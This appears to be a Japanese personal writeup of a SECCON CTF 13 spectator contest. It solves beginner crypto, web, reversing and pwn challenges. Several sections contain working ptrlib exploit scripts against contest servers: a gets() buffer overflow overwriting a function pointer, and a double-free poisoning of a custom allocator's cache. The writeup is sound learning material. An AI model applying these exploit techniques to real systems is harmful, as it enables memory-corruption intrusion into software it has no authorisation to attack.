SECCON CTF 13 決勝観戦CTF Writeup
かなり久しぶりにCTFに参加できた1ので、初めてWriteupを書いてみようと思います。
解けた問題
Welcome
SECCON CTF 13 決勝観戦CTFへようこそ!
Flag:Alpaca{welcome_to_seccon_ctf_13_finals_booth}[重要] 初心者の方への補足
このCTFには、Pwn, Rev, Crypto, Web, Misc の5カテゴリーから約20の問題があります。 CTF 開始時は、大雑把ではありますが、運営が想定した難易度順に問題が並んでいます。 特に初心者向けである問題に Beginner カテゴリーを明示的につけています。 まずは Beginner 問をいくつか見てみて、興味があるものから解いてみるのがおすすめです。
開始時は運営が想定した難易度順に並んでいますが、問題が解かれ始めると、解かれた数(solves)の多い順に問題が並びます。 solves の多い問題は取り組みやすいことが多く、逆に solves が少ない問題は経験者も解くのが難しいものかもしれません。 初心者向けとはいっても、「典型的である」という理由で難易度の高い問題も出題しています。
ChatGPT 等の AI の使用は全く問題なく、少しでも詰まったら AI を活用することを推奨 します。 とにかく手を動かしてわからない箇所を調べてみましょう!
パソコンがない方へ
モバイル環境でCTFに挑戦できる Google Colab ノートブックを用意しています。 必要に応じて使用してください。 少なくとも Beginner 問は、このノートブックを使用して数行で解けることを確認済みです。
問題文にFlagがあります。
Alpaca{welcome_to_seccon_ctf_13_finals_booth}
Long Flag
出力からフラグを復元してください🐍
import os from Crypto.Util.number import bytes_to_long print(bytes_to_long(os.getenv("FLAG").encode()))出力:
35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
Flagがbytes_to_longされて渡されます。long_to_bytesでもとに戻してあげればOK。
from Crypto.Util.number import long_to_bytes
o = 35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
print(long_to_bytes(o)) # Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}
Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}
🍪
ある条件を満たすとフラグが得られるようです
import Fastify from "fastify"; import fastifyCookie from "@fastify/cookie"; const fastify = Fastify(); fastify.register(fastifyCookie); fastify.get("/", async (req, reply) => { reply.setCookie('admin', 'false', { path: '/', httpOnly: true }); if (req.cookies.admin === "true") reply.header("X-Flag", process.env.FLAG); return "can you get the flag?"; }); fastify.listen({ port: process.env.PORT, host: "0.0.0.0" });
Webサイトにアクセスすると、admin=falseというcookieが渡されます。ソースコードによれば、admin=trueのときにFlagが返されるようです。
Burp Suiteなどのローカルプロキシを用いても良いですが、ここでは簡単にブラウザで攻撃してみましょう。Firefoxでは、Web developer toolsのStrage欄で、cookieの読み書きができます。ここで、adminをtrueに書き換え、Network欄を見ながらサイトをリロードしてあげます。すると、Response HeaderにFlagが出てきます。
余談ですが、私はX-FlagでFlagが返されることを読み飛ばしており、時間を無駄にしてしまいました…
Alpaca{7h3_n4m3_c0m35_fr0m_B3cky}
Beginner's Flag Printer
フラグを出力するアセンブリです🤖
.LC0: .string "Alpaca{%x}\n" main: push rbp mov rbp, rsp sub rsp, 16 mov DWORD PTR [rbp-4], 539232261 mov eax, DWORD PTR [rbp-4] mov esi, eax mov edi, OFFSET FLAT:.LC0 mov eax, 0 call printf mov eax, 0 leave ret
渡されたアセンブリの頭に"Alpaca{%x}\n"なる文字列があるので、%xに渡される数字を特定すれば良さそうです。
ここで、少し下に539232261なる怪しい数字が見えます。16進数にしてあげると20240805であり、これがFlagとなります。
Alpaca{20240805}
parseInt
a < b && parseInt(a) > parseInt(b)となるようなa,bを見つけてください🐟const rl = require("node:readline").createInterface({ input: process.stdin, output: process.stdout, }); rl.question("Input a,b: ", input => { const [a, b] = input.toString().trim().split(",").map(Number); if (a < b && parseInt(a) > parseInt(b)) console.log(process.env.FLAG); else console.log(":("); rl.close(); });
問題文にある通り、a < bかつparseInt(a) > parseInt(b)であるaとbを探します。
こういったときは、とりあえず大きな数を入力してみましょう。parseIntに1000000000000000000000を渡すと、1が返ってきました。そこで、a = 2, b = 1000000000000000000000を入力してあげると、Flagが入手できます。
Alpaca{..ww.w....<')))><.~~~}
trippple
出力からフラグを復元してください🐍
import os from Crypto.Util.number import getPrime, bytes_to_long m = bytes_to_long(os.getenv("FLAG").encode()) p = getPrime(96) n = p * p * p e = 65537 c = pow(m, e, n) print(f"{n,c=}")出力:
n,c=(272361880253535445317143279209232620259509770172080133049487958853930525983846305005657, 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184)
RSA暗号で、nがpの3乗となっています。
とりあえず、\(p = n^{1/3}\)としてpが求められます。ここで、\(\phi(n) = p^2 (p - 1)\)となるので、あとはいつもどおり復号することができます。
$ sage -q
from Crypto.Util.number import long_to_bytes
n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537
p = n^(1/3)
phi = p^2 * (p - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
long_to_bytes(m) # b'Alpaca{h1t&4w4y_k4nzum3}'
Alpaca{h1t&4w4y_k4nzum3}
danger of buffer overflow
危険です
gets(buf)を呼んでおり、明らかにBuffer Overflowを起こせますね。
おあつらえむきに、bufの下に関数ポインタがあります。win関数のアドレスももらえるようなので、関数ポインタにwinのアドレスを入れてあげましょう。
from ptrlib import *
r = remote("34.170.146.252", 24310)
r.recvuntil("address of print_flag func: ")
win_ptr = int(r.recvline()[2:], 16)
logger.info(f"win_ptr: {hex(win_ptr)}")
r.sendlineafter("gets to buf: ", b"A" * 8 + p64(win_ptr))
r.interactive()
Alpaca{1_r3ally_d0nt_w4nt_t0_us3_g3t5}
play with memory
1, 2, 3, 4, 5!
12345と解釈されるバイト列を送るとFlagをもらえます。エンディアンに気をつけながら送信しましょう。
from ptrlib import *
r = remote("34.170.146.252", 57944)
r.sendlineafter("input your number!: ", b"\x39\x30") # 0x3039 = 12345
r.interactive()
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}
42
出力からフラグを復元してください🐍
import os from Crypto.Util.number import getPrime, bytes_to_long x = bytes_to_long(os.getenv("FLAG").encode()) for _ in range(42): x *= getPrime(42) print(x)出力:
1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387
Flagが42bitの適当な素数42個と掛けられています。
素因数分解してあげると、42bitの素数が42個と、明らかに42bit以下、以上の素数が出てきます。42bitでない数を掛け合わせたものがFlagだと推定できます。
$ sage
from Crypto.Util.number import long_to_bytes
x = 1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387
factor(x) # 3 * 23 * 2205496470181 * 2219555763769 * 2233425033163 * 2239061295271 * 2259023796727 * 2284404776567 * 2291370145123 * 2416633488457 * 2419508288471 * 2434758174067 * 2500841090549 * 2503738093453 * 2573045476847 * 2680923822481 * 2778916602433 * 2788061078027 * 2796482148853 * 2874516939989 * 3132015040537 * 3139228584347 * 3155640636023 * 3194390562137 * 3284689931333 * 3395646793247 * 3450918694961 * 3542857468897 * 3558548169959 * 3723346041941 * 3734921299007 * 3741754738429 * 3881331302137 * 3955397572079 * 3975840251293 * 4072584462841 * 4130457980197 * 4158189715259 * 4194605058227 * 4207350753019 * 4244137496801 * 4299476105167 * 4327600625807 * 4333485694679 * 64527453873583290390233 * 360296424708927327075211324489217
c = 3 * 23 * 64527453873583290390233 * 360296424708927327075211324489217
long_to_bytes(c) # b'Alpaca{42_is_6_times_7.}'
Alpaca{42_is_6_times_7.}
Can U Keep A Secret?
Or ...?
#include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> int main() { srand(time(NULL)); unsigned int secret = rand(), input; printf("secret: %u\n", secret); // can u keep a secret??/ secret *= rand(); secret *= 0x5EC12E7; scanf("%u", &input); if(input == secret) printf("Alpaca{REDACTED}\n"); return 0; }
乱数が与えられたあと、それに新たな乱数と固定値を掛けた値をあてることができればFlagをもらえるようにみえますが、実際には異なります。
与えられたソースコードの11行目のコメントの末尾が??/となっていますが、これをtrigraph(一部の記号をISO 646に含まれる文字のみで表す方法)として解釈すると、\となります。trigraphはc++14まではデフォルトで有効でしたが、c++17からは明示的に-trigraphsを与えないと無効となりました2。
今回のバイナリは、ディスアセンブラを通すとわかる通り、trigraphが有効になっており、ソースコード12行目のsecret *= rand()の処理が消えています。そこで、単純に、与えられたsecretに0x5EC12E7をかければ良いです。secretはint型なので、オーバーフローを考慮してあげましょう。
私はtrigraphを知らなかったので、なかなか答えが合わず時間をかけてしまいました…
from ptrlib import *
r = remote("34.170.146.252", 59556)
r.recvuntil("secret: ")
secret = int(r.recvline())
logger.info(f"secret: {secret}")
new_secret = (secret * 0x5EC12E7) & 0xFFFFFFFF
logger.info(f"new_secret: {new_secret}")
r.sendline(str(new_secret))
r.interactive()
Alpaca{u_r_pwn_h3r0}
cache crasher
tapioca rice
オレオレmallocの問題です。freeするときに必要な確認を怠っており、double-freeが可能なことが脆弱性です。
cacheの動きを詳細に追ってみましょう。
始めにallocを呼びます。このとき、まだcacheには何も繋がれていません。

free(0)を呼ぶと、cacheにはbuf[0]が繋がれます。

ここでもう一度free(0)を呼んでみましょう。すると、buf[0].next_chinkが自分自身を指すようになります。

この状態でallocを呼び、0xdeadbeefを入力してみましょう。
chunkはUnion型なので、buf[0].next_chunkがbuf[0].valと重なっており、buf[0].valに入力した値がbuf[0].next_chunkに入ることに気をつけます。

cacheに任意アドレスを繋げられました。allocを呼びましょう。

cacheが入力したアドレスを指すようになりました。この状態でallocを呼ぶことで、0xdeadbeefへ書き込みできます。
今回はfunc_ptrが用意されているので、そこにprint_flagのアドレスを入力できればFlagを入手できます。
from ptrlib import *
def alloc(val):
r.sendlineafter("opcode(0: alloc, 1: free): ", "0")
r.sendlineafter("data(integer): ", str(val))
def free(ind):
r.sendlineafter("opcode(0: alloc, 1: free): ", "1")
r.sendlineafter("what index to free: ", str(ind))
r = remote("34.170.146.252", 45969)
r.recvuntil("address of print_flag: ")
print_flag = int(r.recvline()[2:], 16)
logger.info(f"print_flag: {hex(print_flag)}")
r.recvuntil("address of funcptr: ")
func_ptr = int(r.recvline()[2:], 16)
logger.info(f"func_ptr: {hex(func_ptr)}")
alloc(0xcafebafe)
free(0)
free(0)
alloc(func_ptr)
alloc(0xcafebafe)
alloc(print_flag)
r.interactive()
Alpaca{ar1g4t0u_alloc4t0r}
解けなかった問題
Flag Printer
フラグを出力するアセンブリです🤖
こういった問題はAIが得意そうと思って投げてみたのですが、間違ったFlagしか教えてもらえませんでした。しかしsatokiさんのwriteupによればChatGPTで解けるらしいので、プロンプトの問題かもしれません。
Alpaca Wakekko
al al al al paca paca paca paca
軽く読んだだけでタイムアップだったので、あとでupsolveしたいですね。
getsやsystemを呼んでいるので、それらをうまく使うのかな?
まとめ
これまでオンサイトでのCTFに出たことがなかったので、SECCONの雰囲気を感じながら他の競技者の方と問題を解けて楽しかったです。CTFへのモチベーションも上がりました。
このように貴重な企画を運営し、問題等を準備してくださった皆様、ありがとうございました。
実は、最後に時間を取って参加できたのは、約1年前のPico CTFだったりします。この春休みにはしっかり時間をとって参加したいという機運があります。
https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#